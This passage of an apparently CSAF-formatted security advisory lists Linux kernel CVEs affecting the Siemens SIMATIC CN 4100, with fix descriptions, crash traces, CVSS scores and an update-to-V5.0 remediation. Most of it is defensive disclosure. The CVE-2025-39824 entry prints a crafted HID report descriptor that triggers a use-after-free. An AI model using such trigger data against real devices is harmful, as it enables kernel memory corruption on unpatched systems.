class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches 